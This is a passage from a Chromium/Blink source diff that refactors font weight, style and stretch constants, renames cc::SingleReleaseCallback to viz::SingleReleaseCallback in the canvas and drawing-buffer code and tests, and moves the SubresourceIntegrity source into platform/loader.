-    platform_data.SetSyntheticBold(font_description.Weight() >=
-                                   BoldThreshold());
-    platform_data.SetSyntheticItalic(font_description.Style() ==
-                                     ItalicSlopeValue());
+    platform_data.SetSyntheticBold(font_description.Weight() >= kFontWeight600);
+    platform_data.SetSyntheticItalic(
+        font_description.Style() == kFontStyleItalic ||
+        font_description.Style() == kFontStyleOblique);
     return FontDataFromFontPlatformData(&platform_data, kDoNotRetain);
   }
 
@@ -287,15 +287,16 @@
   if (!tf)
     return nullptr;
 
-  return WTF::WrapUnique(new FontPlatformData(
-      tf, name.data(), font_size,
-      (font_description.Weight() >
-           FontSelectionValue(200) +
-               FontSelectionValue(tf->fontStyle().weight()) ||
-       font_description.IsSyntheticBold()),
-      ((font_description.Style() == ItalicSlopeValue()) && !tf->isItalic()) ||
-          font_description.IsSyntheticItalic(),
-      font_description.Orientation()));
+  return WTF::WrapUnique(
+      new FontPlatformData(tf, name.data(), font_size,
+                           (NumericFontWeight(font_description.Weight()) >
+                            200 + tf->fontStyle().weight()) ||
+                               font_description.IsSyntheticBold(),
+                           ((font_description.Style() == kFontStyleItalic ||
+                             font_description.Style() == kFontStyleOblique) &&
+                            !tf->isItalic()) ||
+                               font_description.IsSyntheticItalic(),
+                           font_description.Orientation()));
 }
 #endif  // !defined(OS_WIN)
 
diff --git a/third_party/WebKit/Source/platform/fonts/win/FontCacheSkiaWin.cpp b/third_party/WebKit/Source/platform/fonts/win/FontCacheSkiaWin.cpp
index 31a1affa..f4e3ff6 100644
--- a/third_party/WebKit/Source/platform/fonts/win/FontCacheSkiaWin.cpp
+++ b/third_party/WebKit/Source/platform/fonts/win/FontCacheSkiaWin.cpp
@@ -117,8 +117,8 @@
     FontFallbackPriority fallback_priority) {
   // First try the specified font with standard style & weight.
   if (fallback_priority != FontFallbackPriority::kEmojiEmoji &&
-      (font_description.Style() == ItalicSlopeValue() ||
-       font_description.Weight() >= BoldWeightValue())) {
+      (font_description.Style() == kFontStyleItalic ||
+       font_description.Weight() >= kFontWeightBold)) {
     RefPtr<SimpleFontData> font_data =
         FallbackOnStandardFontStyle(font_description, character);
     if (font_data)
@@ -258,27 +258,27 @@
 
 static bool TypefacesHasWeightSuffix(const AtomicString& family,
                                      AtomicString& adjusted_name,
-                                     FontSelectionValue& variant_weight) {
+                                     FontWeight& variant_weight) {
   struct FamilyWeightSuffix {
     const wchar_t* suffix;
     size_t length;
-    FontSelectionValue weight;
+    FontWeight weight;
   };
   // Mapping from suffix to weight from the DirectWrite documentation.
   // http://msdn.microsoft.com/en-us/library/windows/desktop/dd368082.aspx
   const static FamilyWeightSuffix kVariantForSuffix[] = {
-      {L" thin", 5, FontSelectionValue(100)},
-      {L" extralight", 11, FontSelectionValue(200)},
-      {L" ultralight", 11, FontSelectionValue(200)},
-      {L" light", 6, FontSelectionValue(300)},
-      {L" regular", 8, FontSelectionValue(400)},
-      {L" medium", 7, FontSelectionValue(500)},
-      {L" demibold", 9, FontSelectionValue(600)},
-      {L" semibold", 9, FontSelectionValue(600)},
-      {L" extrabold", 10, FontSelectionValue(800)},
-      {L" ultrabold", 10, FontSelectionValue(800)},
-      {L" black", 6, FontSelectionValue(900)},
-      {L" heavy", 6, FontSelectionValue(900)}};
+      {L" thin", 5, kFontWeight100},
+      {L" extralight", 11, kFontWeight200},
+      {L" ultralight", 11, kFontWeight200},
+      {L" light", 6, kFontWeight300},
+      {L" regular", 8, kFontWeight400},
+      {L" medium", 7, kFontWeight500},
+      {L" demibold", 9, kFontWeight600},
+      {L" semibold", 9, kFontWeight600},
+      {L" extrabold", 10, kFontWeight800},
+      {L" ultrabold", 10, kFontWeight800},
+      {L" black", 6, kFontWeight900},
+      {L" heavy", 6, kFontWeight900}};
   size_t num_variants = WTF_ARRAY_LENGTH(kVariantForSuffix);
   for (size_t i = 0; i < num_variants; i++) {
     const FamilyWeightSuffix& entry = kVariantForSuffix[i];
@@ -296,26 +296,26 @@
 
 static bool TypefacesHasStretchSuffix(const AtomicString& family,
                                       AtomicString& adjusted_name,
-                                      FontSelectionValue& variant_stretch) {
+                                      FontStretch& variant_stretch) {
   struct FamilyStretchSuffix {
     const wchar_t* suffix;
     size_t length;
-    FontSelectionValue stretch;
+    FontStretch stretch;
   };
   // Mapping from suffix to stretch value from the DirectWrite documentation.
   // http://msdn.microsoft.com/en-us/library/windows/desktop/dd368078.aspx
   // Also includes Narrow as a synonym for Condensed to to support Arial
   // Narrow and other fonts following the same naming scheme.
   const static FamilyStretchSuffix kVariantForSuffix[] = {
-      {L" ultracondensed", 15, UltraCondensedWidthValue()},
-      {L" extracondensed", 15, ExtraCondensedWidthValue()},
-      {L" condensed", 10, CondensedWidthValue()},
-      {L" narrow", 7, CondensedWidthValue()},
-      {L" semicondensed", 14, SemiCondensedWidthValue()},
-      {L" semiexpanded", 13, SemiExpandedWidthValue()},
-      {L" expanded", 9, ExpandedWidthValue()},
-      {L" extraexpanded", 14, ExtraExpandedWidthValue()},
-      {L" ultraexpanded", 14, UltraExpandedWidthValue()}};
+      {L" ultracondensed", 15, kFontStretchUltraCondensed},
+      {L" extracondensed", 15, kFontStretchExtraCondensed},
+      {L" condensed", 10, kFontStretchCondensed},
+      {L" narrow", 7, kFontStretchCondensed},
+      {L" semicondensed", 14, kFontStretchSemiCondensed},
+      {L" semiexpanded", 13, kFontStretchSemiExpanded},
+      {L" expanded", 9, kFontStretchExpanded},
+      {L" extraexpanded", 14, kFontStretchExtraExpanded},
+      {L" ultraexpanded", 14, kFontStretchUltraExpanded}};
   size_t num_variants = WTF_ARRAY_LENGTH(kVariantForSuffix);
   for (size_t i = 0; i < num_variants; i++) {
     const FamilyStretchSuffix& entry = kVariantForSuffix[i];
@@ -346,8 +346,8 @@
   // really used.
   if (!tf || !TypefacesMatchesFamily(tf.get(), creation_params.Family())) {
     AtomicString adjusted_name;
-    FontSelectionValue variant_weight;
-    FontSelectionValue variant_stretch;
+    FontWeight variant_weight;
+    FontStretch variant_stretch;
 
     // TODO: crbug.com/627143 LocalFontFaceSource.cpp, which implements
     // retrieving src: local() font data uses getFontData, which in turn comes
@@ -392,9 +392,10 @@
   std::unique_ptr<FontPlatformData> result =
       WTF::WrapUnique(new FontPlatformData(
           tf, name.data(), font_size,
-          (font_description.Weight() >= BoldThreshold() && !tf->isBold()) ||
+          (font_description.Weight() >= kFontWeight600 && !tf->isBold()) ||
               font_description.IsSyntheticBold(),
-          ((font_description.Style() == ItalicSlopeValue()) &&
+          ((font_description.Style() == kFontStyleItalic ||
+            font_description.Style() == kFontStyleOblique) &&
            !tf->isItalic()) ||
               font_description.IsSyntheticItalic(),
           font_description.Orientation()));
diff --git a/third_party/WebKit/Source/platform/graphics/Canvas2DLayerBridge.cpp b/third_party/WebKit/Source/platform/graphics/Canvas2DLayerBridge.cpp
index 38e63d1..2465e3f4 100644
--- a/third_party/WebKit/Source/platform/graphics/Canvas2DLayerBridge.cpp
+++ b/third_party/WebKit/Source/platform/graphics/Canvas2DLayerBridge.cpp
@@ -27,7 +27,7 @@
 
 #include <memory>
 #include "base/memory/ptr_util.h"
-#include "cc/resources/single_release_callback.h"
+#include "components/viz/common/quads/single_release_callback.h"
 #include "components/viz/common/quads/texture_mailbox.h"
 #include "gpu/command_buffer/client/gles2_interface.h"
 #include "gpu/command_buffer/client/gpu_memory_buffer_manager.h"
@@ -897,7 +897,7 @@
 
 bool Canvas2DLayerBridge::PrepareTextureMailbox(
     viz::TextureMailbox* out_mailbox,
-    std::unique_ptr<cc::SingleReleaseCallback>* out_release_callback) {
+    std::unique_ptr<viz::SingleReleaseCallback>* out_release_callback) {
   if (destruction_in_progress_) {
     // It can be hit in the following sequence.
     // 1. Canvas draws something.
@@ -948,8 +948,8 @@
   auto func =
       WTF::Bind(&Canvas2DLayerBridge::MailboxReleased,
                 weak_ptr_factory_.CreateWeakPtr(), out_mailbox->mailbox());
-  *out_release_callback =
-      cc::SingleReleaseCallback::Create(ConvertToBaseCallback(std::move(func)));
+  *out_release_callback = viz::SingleReleaseCallback::Create(
+      ConvertToBaseCallback(std::move(func)));
   return true;
 }
 
diff --git a/third_party/WebKit/Source/platform/graphics/Canvas2DLayerBridge.h b/third_party/WebKit/Source/platform/graphics/Canvas2DLayerBridge.h
index 180c7559..7ffc4f4 100644
--- a/third_party/WebKit/Source/platform/graphics/Canvas2DLayerBridge.h
+++ b/third_party/WebKit/Source/platform/graphics/Canvas2DLayerBridge.h
@@ -100,7 +100,7 @@
 
   // cc::TextureLayerClient implementation.
   bool PrepareTextureMailbox(viz::TextureMailbox* out_mailbox,
-                             std::unique_ptr<cc::SingleReleaseCallback>*
+                             std::unique_ptr<viz::SingleReleaseCallback>*
                                  out_release_callback) override;
 
   // ImageBufferSurface implementation
diff --git a/third_party/WebKit/Source/platform/graphics/Canvas2DLayerBridgeTest.cpp b/third_party/WebKit/Source/platform/graphics/Canvas2DLayerBridgeTest.cpp
index 7f381e2d..4de6321c 100644
--- a/third_party/WebKit/Source/platform/graphics/Canvas2DLayerBridgeTest.cpp
+++ b/third_party/WebKit/Source/platform/graphics/Canvas2DLayerBridgeTest.cpp
@@ -25,8 +25,8 @@
 
 #include "platform/graphics/Canvas2DLayerBridge.h"
 
-#include "cc/resources/single_release_callback.h"
 #include "cc/test/test_gpu_memory_buffer_manager.h"
+#include "components/viz/common/quads/single_release_callback.h"
 #include "components/viz/common/quads/texture_mailbox.h"
 #include "gpu/command_buffer/client/gles2_interface.h"
 #include "gpu/command_buffer/common/capabilities.h"
@@ -245,7 +245,7 @@
     gl.SetIsContextLost(true);
 
     viz::TextureMailbox texture_mailbox;
-    std::unique_ptr<cc::SingleReleaseCallback> release_callback;
+    std::unique_ptr<viz::SingleReleaseCallback> release_callback;
     EXPECT_FALSE(
         bridge->PrepareTextureMailbox(&texture_mailbox, &release_callback));
   }
@@ -273,7 +273,7 @@
     bridge->RestoreSurface();
 
     viz::TextureMailbox texture_mailbox;
-    std::unique_ptr<cc::SingleReleaseCallback> release_callback;
+    std::unique_ptr<viz::SingleReleaseCallback> release_callback;
     EXPECT_FALSE(
         bridge->PrepareTextureMailbox(&texture_mailbox, &release_callback));
   }
@@ -291,7 +291,7 @@
           CanvasColorParams())));
 
       viz::TextureMailbox texture_mailbox;
-      std::unique_ptr<cc::SingleReleaseCallback> release_callback;
+      std::unique_ptr<viz::SingleReleaseCallback> release_callback;
       EXPECT_TRUE(
           bridge->PrepareTextureMailbox(&texture_mailbox, &release_callback));
 
@@ -306,7 +306,7 @@
           WTF::WrapUnique(new FakeWebGraphicsContext3DProvider(&gl));
 
       viz::TextureMailbox texture_mailbox;
-      std::unique_ptr<cc::SingleReleaseCallback> release_callback;
+      std::unique_ptr<viz::SingleReleaseCallback> release_callback;
 
       {
         Canvas2DLayerBridgePtr bridge(AdoptRef(new Canvas2DLayerBridge(
@@ -1225,7 +1225,7 @@
 
   // Test prepareMailbox while hibernating
   viz::TextureMailbox texture_mailbox;
-  std::unique_ptr<cc::SingleReleaseCallback> release_callback;
+  std::unique_ptr<viz::SingleReleaseCallback> release_callback;
   EXPECT_FALSE(
       bridge->PrepareTextureMailbox(&texture_mailbox, &release_callback));
   EXPECT_TRUE(bridge->CheckSurfaceValid());
@@ -1285,7 +1285,7 @@
 
   // Test prepareMailbox while background rendering
   viz::TextureMailbox texture_mailbox;
-  std::unique_ptr<cc::SingleReleaseCallback> release_callback;
+  std::unique_ptr<viz::SingleReleaseCallback> release_callback;
   EXPECT_FALSE(
       bridge->PrepareTextureMailbox(&texture_mailbox, &release_callback));
   EXPECT_TRUE(bridge->CheckSurfaceValid());
@@ -1307,7 +1307,7 @@
       WTF::WrapUnique(new FakeWebGraphicsContext3DProvider(&gl));
 
   viz::TextureMailbox texture_mailbox;
-  std::unique_ptr<cc::SingleReleaseCallback> release_callback;
+  std::unique_ptr<viz::SingleReleaseCallback> release_callback;
 
   {
     Canvas2DLayerBridgePtr bridge(AdoptRef(new Canvas2DLayerBridge(
diff --git a/third_party/WebKit/Source/platform/graphics/gpu/DrawingBuffer.cpp b/third_party/WebKit/Source/platform/graphics/gpu/DrawingBuffer.cpp
index ed5c2d1..eb3d975 100644
--- a/third_party/WebKit/Source/platform/graphics/gpu/DrawingBuffer.cpp
+++ b/third_party/WebKit/Source/platform/graphics/gpu/DrawingBuffer.cpp
@@ -253,7 +253,7 @@
 
 bool DrawingBuffer::PrepareTextureMailbox(
     viz::TextureMailbox* out_mailbox,
-    std::unique_ptr<cc::SingleReleaseCallback>* out_release_callback) {
+    std::unique_ptr<viz::SingleReleaseCallback>* out_release_callback) {
   ScopedStateRestorer scoped_state_restorer(this);
   bool force_gpu_result = false;
   return PrepareTextureMailboxInternal(out_mailbox, out_release_callback,
@@ -262,7 +262,7 @@
 
 bool DrawingBuffer::PrepareTextureMailboxInternal(
     viz::TextureMailbox* out_mailbox,
-    std::unique_ptr<cc::SingleReleaseCallback>* out_release_callback,
+    std::unique_ptr<viz::SingleReleaseCallback>* out_release_callback,
     bool force_gpu_result) {
   DCHECK(state_restorer_);
   if (destruction_in_progress_) {
@@ -298,7 +298,7 @@
 
 bool DrawingBuffer::FinishPrepareTextureMailboxSoftware(
     viz::TextureMailbox* out_mailbox,
-    std::unique_ptr<cc::SingleReleaseCallback>* out_release_callback) {
+    std::unique_ptr<viz::SingleReleaseCallback>* out_release_callback) {
   DCHECK(state_restorer_);
   std::unique_ptr<viz::SharedBitmap> bitmap = CreateOrRecycleBitmap();
   if (!bitmap)
@@ -327,8 +327,8 @@
   auto func = WTF::Bind(&DrawingBuffer::MailboxReleasedSoftware,
                         RefPtr<DrawingBuffer>(this),
                         WTF::Passed(std::move(bitmap)), size_);
-  *out_release_callback =
-      cc::SingleReleaseCallback::Create(ConvertToBaseCallback(std::move(func)));
+  *out_release_callback = viz::SingleReleaseCallback::Create(
+      ConvertToBaseCallback(std::move(func)));
 
   if (preserve_drawing_buffer_ == kDiscard) {
     SetBufferClearNeeded(true);
@@ -339,7 +339,7 @@
 
 bool DrawingBuffer::FinishPrepareTextureMailboxGpu(
     viz::TextureMailbox* out_mailbox,
-    std::unique_ptr<cc::SingleReleaseCallback>* out_release_callback) {
+    std::unique_ptr<viz::SingleReleaseCallback>* out_release_callback) {
   DCHECK(state_restorer_);
   if (webgl_version_ > kWebGL1) {
     state_restorer_->SetPixelUnpackBufferBindingDirty();
@@ -408,7 +408,7 @@
     auto func =
         WTF::Bind(&DrawingBuffer::MailboxReleasedGpu,
                   RefPtr<DrawingBuffer>(this), color_buffer_for_mailbox);
-    *out_release_callback = cc::SingleReleaseCallback::Create(
+    *out_release_callback = viz::SingleReleaseCallback::Create(
         ConvertToBaseCallback(std::move(func)));
   }
 
@@ -470,7 +470,7 @@
   GrContext* gr_context = ContextProvider()->GetGrContext();
 
   viz::TextureMailbox texture_mailbox;
-  std::unique_ptr<cc::SingleReleaseCallback> release_callback;
+  std::unique_ptr<viz::SingleReleaseCallback> release_callback;
   bool success = false;
   if (gr_context) {
     bool force_gpu_result = true;
diff --git a/third_party/WebKit/Source/platform/graphics/gpu/DrawingBuffer.h b/third_party/WebKit/Source/platform/graphics/gpu/DrawingBuffer.h
index 2b95135..c58e72f69 100644
--- a/third_party/WebKit/Source/platform/graphics/gpu/DrawingBuffer.h
+++ b/third_party/WebKit/Source/platform/graphics/gpu/DrawingBuffer.h
@@ -197,7 +197,7 @@
 
   // cc::TextureLayerClient implementation.
   bool PrepareTextureMailbox(viz::TextureMailbox* out_mailbox,
-                             std::unique_ptr<cc::SingleReleaseCallback>*
+                             std::unique_ptr<viz::SingleReleaseCallback>*
                                  out_release_callback) override;
 
   // Returns a StaticBitmapImage backed by a texture containing the current
@@ -372,16 +372,16 @@
 
   bool PrepareTextureMailboxInternal(
       viz::TextureMailbox* out_mailbox,
-      std::unique_ptr<cc::SingleReleaseCallback>* out_release_callback,
+      std::unique_ptr<viz::SingleReleaseCallback>* out_release_callback,
       bool force_gpu_result);
 
   // Helper functions to be called only by prepareTextureMailboxInternal.
   bool FinishPrepareTextureMailboxGpu(
       viz::TextureMailbox* out_mailbox,
-      std::unique_ptr<cc::SingleReleaseCallback>* out_release_callback);
+      std::unique_ptr<viz::SingleReleaseCallback>* out_release_callback);
   bool FinishPrepareTextureMailboxSoftware(
       viz::TextureMailbox* out_mailbox,
-      std::unique_ptr<cc::SingleReleaseCallback>* out_release_callback);
+      std::unique_ptr<viz::SingleReleaseCallback>* out_release_callback);
 
   // Callbacks for mailboxes given to the compositor from
   // finishPrepareTextureMailboxGpu and finishPrepareTextureMailboxSoftware.
diff --git a/third_party/WebKit/Source/platform/graphics/gpu/DrawingBufferSoftwareRenderingTest.cpp b/third_party/WebKit/Source/platform/graphics/gpu/DrawingBufferSoftwareRenderingTest.cpp
index c1332ac..6ead92dc 100644
--- a/third_party/WebKit/Source/platform/graphics/gpu/DrawingBufferSoftwareRenderingTest.cpp
+++ b/third_party/WebKit/Source/platform/graphics/gpu/DrawingBufferSoftwareRenderingTest.cpp
@@ -4,7 +4,7 @@
 
 #include "platform/graphics/gpu/DrawingBuffer.h"
 
-#include "cc/resources/single_release_callback.h"
+#include "components/viz/common/quads/single_release_callback.h"
 #include "components/viz/common/quads/texture_mailbox.h"
 #include "gpu/command_buffer/client/gles2_interface_stub.h"
 #include "platform/graphics/gpu/DrawingBufferTestHelpers.h"
@@ -67,9 +67,9 @@
 
 TEST_F(DrawingBufferSoftwareRenderingTest, BitmapRecycling) {
   viz::TextureMailbox texture_mailbox;
-  std::unique_ptr<cc::SingleReleaseCallback> release_callback1;
-  std::unique_ptr<cc::SingleReleaseCallback> release_callback2;
-  std::unique_ptr<cc::SingleReleaseCallback> release_callback3;
+  std::unique_ptr<viz::SingleReleaseCallback> release_callback1;
+  std::unique_ptr<viz::SingleReleaseCallback> release_callback2;
+  std::unique_ptr<viz::SingleReleaseCallback> release_callback3;
   IntSize initial_size(kInitialWidth, kInitialHeight);
   IntSize alternate_size(kInitialWidth, kAlternateHeight);
 
@@ -106,7 +106,7 @@
 TEST_F(DrawingBufferSoftwareRenderingTest, FramebufferBinding) {
   GLES2InterfaceForTests* gl_ = drawing_buffer_->ContextGLForTests();
   viz::TextureMailbox texture_mailbox;
-  std::unique_ptr<cc::SingleReleaseCallback> release_callback;
+  std::unique_ptr<viz::SingleReleaseCallback> release_callback;
   IntSize initial_size(kInitialWidth, kInitialHeight);
   GLint drawBinding = 0, readBinding = 0;
 
diff --git a/third_party/WebKit/Source/platform/graphics/gpu/DrawingBufferTest.cpp b/third_party/WebKit/Source/platform/graphics/gpu/DrawingBufferTest.cpp
index 8bb7fab..280ab6c8 100644
--- a/third_party/WebKit/Source/platform/graphics/gpu/DrawingBufferTest.cpp
+++ b/third_party/WebKit/Source/platform/graphics/gpu/DrawingBufferTest.cpp
@@ -31,8 +31,8 @@
 #include "platform/graphics/gpu/DrawingBuffer.h"
 
 #include <memory>
-#include "cc/resources/single_release_callback.h"
 #include "cc/test/test_gpu_memory_buffer_manager.h"
+#include "components/viz/common/quads/single_release_callback.h"
 #include "components/viz/common/quads/texture_mailbox.h"
 #include "gpu/command_buffer/client/gles2_interface_stub.h"
 #include "gpu/command_buffer/common/mailbox.h"
@@ -159,7 +159,7 @@
   GLES2InterfaceForTests* gl_ = drawing_buffer_->ContextGLForTests();
   VerifyStateWasRestored();
   viz::TextureMailbox texture_mailbox;
-  std::unique_ptr<cc::SingleReleaseCallback> release_callback;
+  std::unique_ptr<viz::SingleReleaseCallback> release_callback;
 
   IntSize initial_size(kInitialWidth, kInitialHeight);
   IntSize alternate_size(kInitialWidth, kAlternateHeight);
@@ -214,11 +214,11 @@
   drawing_buffer_->live_ = &live;
 
   viz::TextureMailbox texture_mailbox1;
-  std::unique_ptr<cc::SingleReleaseCallback> release_callback1;
+  std::unique_ptr<viz::SingleReleaseCallback> release_callback1;
   viz::TextureMailbox texture_mailbox2;
-  std::unique_ptr<cc::SingleReleaseCallback> release_callback2;
+  std::unique_ptr<viz::SingleReleaseCallback> release_callback2;
   viz::TextureMailbox texture_mailbox3;
-  std::unique_ptr<cc::SingleReleaseCallback> release_callback3;
+  std::unique_ptr<viz::SingleReleaseCallback> release_callback3;
 
   IntSize initial_size(kInitialWidth, kInitialHeight);
 
@@ -263,11 +263,11 @@
   drawing_buffer_->live_ = &live;
 
   viz::TextureMailbox texture_mailbox1;
-  std::unique_ptr<cc::SingleReleaseCallback> release_callback1;
+  std::unique_ptr<viz::SingleReleaseCallback> release_callback1;
   viz::TextureMailbox texture_mailbox2;
-  std::unique_ptr<cc::SingleReleaseCallback> release_callback2;
+  std::unique_ptr<viz::SingleReleaseCallback> release_callback2;
   viz::TextureMailbox texture_mailbox3;
-  std::unique_ptr<cc::SingleReleaseCallback> release_callback3;
+  std::unique_ptr<viz::SingleReleaseCallback> release_callback3;
 
   EXPECT_FALSE(drawing_buffer_->MarkContentsChanged());
   EXPECT_TRUE(drawing_buffer_->PrepareTextureMailbox(&texture_mailbox1,
@@ -304,11 +304,11 @@
 
 TEST_F(DrawingBufferTest, verifyOnlyOneRecycledMailboxMustBeKept) {
   viz::TextureMailbox texture_mailbox1;
-  std::unique_ptr<cc::SingleReleaseCallback> release_callback1;
+  std::unique_ptr<viz::SingleReleaseCallback> release_callback1;
   viz::TextureMailbox texture_mailbox2;
-  std::unique_ptr<cc::SingleReleaseCallback> release_callback2;
+  std::unique_ptr<viz::SingleReleaseCallback> release_callback2;
   viz::TextureMailbox texture_mailbox3;
-  std::unique_ptr<cc::SingleReleaseCallback> release_callback3;
+  std::unique_ptr<viz::SingleReleaseCallback> release_callback3;
 
   // Produce mailboxes.
   EXPECT_FALSE(drawing_buffer_->MarkContentsChanged());
@@ -332,7 +332,7 @@
   // The first recycled mailbox must be 2. 1 and 3 were deleted by FIFO order
   // because DrawingBuffer never keeps more than one mailbox.
   viz::TextureMailbox recycled_texture_mailbox1;
-  std::unique_ptr<cc::SingleReleaseCallback> recycled_release_callback1;
+  std::unique_ptr<viz::SingleReleaseCallback> recycled_release_callback1;
   EXPECT_FALSE(drawing_buffer_->MarkContentsChanged());
   EXPECT_TRUE(drawing_buffer_->PrepareTextureMailbox(
       &recycled_texture_mailbox1, &recycled_release_callback1));
@@ -340,7 +340,7 @@
 
   // The second recycled mailbox must be a new mailbox.
   viz::TextureMailbox recycled_texture_mailbox2;
-  std::unique_ptr<cc::SingleReleaseCallback> recycled_release_callback2;
+  std::unique_ptr<viz::SingleReleaseCallback> recycled_release_callback2;
   EXPECT_TRUE(drawing_buffer_->MarkContentsChanged());
   EXPECT_TRUE(drawing_buffer_->PrepareTextureMailbox(
       &recycled_texture_mailbox2, &recycled_release_callback2));
@@ -356,7 +356,7 @@
 TEST_F(DrawingBufferTest, verifyInsertAndWaitSyncTokenCorrectly) {
   GLES2InterfaceForTests* gl_ = drawing_buffer_->ContextGLForTests();
   viz::TextureMailbox texture_mailbox;
-  std::unique_ptr<cc::SingleReleaseCallback> release_callback;
+  std::unique_ptr<viz::SingleReleaseCallback> release_callback;
 
   // Produce mailboxes.
   EXPECT_FALSE(drawing_buffer_->MarkContentsChanged());
@@ -425,7 +425,7 @@
 TEST_F(DrawingBufferImageChromiumTest, verifyResizingReallocatesImages) {
   GLES2InterfaceForTests* gl_ = drawing_buffer_->ContextGLForTests();
   viz::TextureMailbox texture_mailbox;
-  std::unique_ptr<cc::SingleReleaseCallback> release_callback;
+  std::unique_ptr<viz::SingleReleaseCallback> release_callback;
 
   IntSize initial_size(kInitialWidth, kInitialHeight);
   IntSize alternate_size(kInitialWidth, kAlternateHeight);
@@ -507,11 +507,11 @@
 TEST_F(DrawingBufferImageChromiumTest, allocationFailure) {
   GLES2InterfaceForTests* gl_ = drawing_buffer_->ContextGLForTests();
   viz::TextureMailbox texture_mailbox1;
-  std::unique_ptr<cc::SingleReleaseCallback> release_callback1;
+  std::unique_ptr<viz::SingleReleaseCallback> release_callback1;
   viz::TextureMailbox texture_mailbox2;
-  std::unique_ptr<cc::SingleReleaseCallback> release_callback2;
+  std::unique_ptr<viz::SingleReleaseCallback> release_callback2;
   viz::TextureMailbox texture_mailbox3;
-  std::unique_ptr<cc::SingleReleaseCallback> release_callback3;
+  std::unique_ptr<viz::SingleReleaseCallback> release_callback3;
 
   // Request a mailbox. An image should already be created. Everything works
   // as expected.
@@ -706,7 +706,7 @@
 TEST_F(DrawingBufferTest, verifySetIsHiddenProperlyAffectsMailboxes) {
   GLES2InterfaceForTests* gl_ = drawing_buffer_->ContextGLForTests();
   viz::TextureMailbox texture_mailbox;
-  std::unique_ptr<cc::SingleReleaseCallback> release_callback;
+  std::unique_ptr<viz::SingleReleaseCallback> release_callback;
 
   // Produce mailboxes.
   EXPECT_FALSE(drawing_buffer_->MarkContentsChanged());
diff --git a/third_party/WebKit/Source/platform/graphics/gpu/ImageLayerBridge.cpp b/third_party/WebKit/Source/platform/graphics/gpu/ImageLayerBridge.cpp
index 0e5f38c0..9c68757e 100644
--- a/third_party/WebKit/Source/platform/graphics/gpu/ImageLayerBridge.cpp
+++ b/third_party/WebKit/Source/platform/graphics/gpu/ImageLayerBridge.cpp
@@ -66,7 +66,7 @@
 
 bool ImageLayerBridge::PrepareTextureMailbox(
     viz::TextureMailbox* out_mailbox,
-    std::unique_ptr<cc::SingleReleaseCallback>* out_release_callback) {
+    std::unique_ptr<viz::SingleReleaseCallback>* out_release_callback) {
   if (disposed_)
     return false;
 
@@ -84,7 +84,7 @@
                                        image_->GetSyncToken(), GL_TEXTURE_2D);
     auto func = WTF::Bind(&ImageLayerBridge::MailboxReleasedGpu,
                           WrapWeakPersistent(this), image_);
-    *out_release_callback = cc::SingleReleaseCallback::Create(
+    *out_release_callback = viz::SingleReleaseCallback::Create(
         ConvertToBaseCallback(std::move(func)));
   } else {
     std::unique_ptr<viz::SharedBitmap> bitmap = CreateOrRecycleBitmap();
@@ -112,7 +112,7 @@
     auto func = WTF::Bind(&ImageLayerBridge::MailboxReleasedSoftware,
                           WrapWeakPersistent(this), base::Passed(&bitmap),
                           image_->Size());
-    *out_release_callback = cc::SingleReleaseCallback::Create(
+    *out_release_callback = viz::SingleReleaseCallback::Create(
         ConvertToBaseCallback(std::move(func)));
   }
 
diff --git a/third_party/WebKit/Source/platform/graphics/gpu/ImageLayerBridge.h b/third_party/WebKit/Source/platform/graphics/gpu/ImageLayerBridge.h
index 44ef777..ae84855 100644
--- a/third_party/WebKit/Source/platform/graphics/gpu/ImageLayerBridge.h
+++ b/third_party/WebKit/Source/platform/graphics/gpu/ImageLayerBridge.h
@@ -34,7 +34,7 @@
 
   // cc::TextureLayerClient implementation.
   bool PrepareTextureMailbox(viz::TextureMailbox* out_mailbox,
-                             std::unique_ptr<cc::SingleReleaseCallback>*
+                             std::unique_ptr<viz::SingleReleaseCallback>*
                                  out_release_callback) override;
 
   void MailboxReleasedGpu(RefPtr<StaticBitmapImage>,
diff --git a/third_party/WebKit/Source/platform/loader/BUILD.gn b/third_party/WebKit/Source/platform/loader/BUILD.gn
index 63d23ba..4e29c867 100644
--- a/third_party/WebKit/Source/platform/loader/BUILD.gn
+++ b/third_party/WebKit/Source/platform/loader/BUILD.gn
@@ -21,6 +21,8 @@
   sources = [
     "LinkHeader.cpp",
     "LinkHeader.h",
+    "SubresourceIntegrity.cpp",
+    "SubresourceIntegrity.h",
     "fetch/AccessControlStatus.h",
     "fetch/BufferingDataPipeWriter.cpp",
     "fetch/BufferingDataPipeWriter.h",
@@ -118,6 +120,7 @@
   # Source files for blink_platform_unittests.
   sources = [
     "LinkHeaderTest.cpp",
+    "SubresourceIntegrityTest.cpp",
     "fetch/BufferingDataPipeWriterTest.cpp",
     "fetch/ClientHintsPreferencesTest.cpp",
     "fetch/CrossOriginAccessControlTest.cpp",
diff --git a/third_party/WebKit/Source/platform/loader/Directories.md b/third_party/WebKit/Source/platform/loader/Directories.md
deleted file mode 100644
index ab612ce..0000000
--- a/third_party/WebKit/Source/platform/loader/Directories.md
+++ /dev/null
@@ -1,14 +0,0 @@
-# platform/loader directories
-
-This document describes how files under platform/loader are organized.
-
-## fetch
-
-Contains files for low-level loading APIs.  PLAYFORM_EXPORT is needed to use
-them from core/.  Otherwise they can be used only in platform/.
-
-## testing
-
-Contains helper files for testing that are available in both
-blink_platform_unittests and webkit_unit_tests.
-These files are built as a part of the platform test_support static library.
diff --git a/third_party/WebKit/Source/platform/loader/README.md b/third_party/WebKit/Source/platform/loader/README.md
new file mode 100644
index 0000000..7198786
--- /dev/null
+++ b/third_party/WebKit/Source/platform/loader/README.md
@@ -0,0 +1,15 @@
+# platform/loader/
+
+This document describes how files under `platform/loader/` are organized.
+
+## fetch
+
+Contains files for low-level loading APIs.  The `PLATFORM_EXPORT` macro is
+needed to use them from `core/`.  Otherwise they can be used only in
+`platform/`.
+
+## testing
+
+Contains helper files for testing that are available in both
+`blink_platform_unittests` and `webkit_unit_tests`.
+These files are built as a part of the `platform:test_support` static library.
diff --git a/third_party/WebKit/Source/core/frame/SubresourceIntegrity.cpp b/third_party/WebKit/Source/platform/loader/SubresourceIntegrity.cpp
similarity index 73%
rename from third_party/WebKit/Source/core/frame/SubresourceIntegrity.cpp
rename to third_party/WebKit/Source/platform/loader/SubresourceIntegrity.cpp
index 170ab45..eb730a5 100644
--- a/third_party/WebKit/Source/core/frame/SubresourceIntegrity.cpp
+++ b/third_party/WebKit/Source/platform/loader/SubresourceIntegrity.cpp
@@ -2,14 +2,8 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "core/frame/SubresourceIntegrity.h"
+#include "platform/loader/SubresourceIntegrity.h"
 
-#include "core/HTMLNames.h"
-#include "core/dom/Document.h"
-#include "core/dom/Element.h"
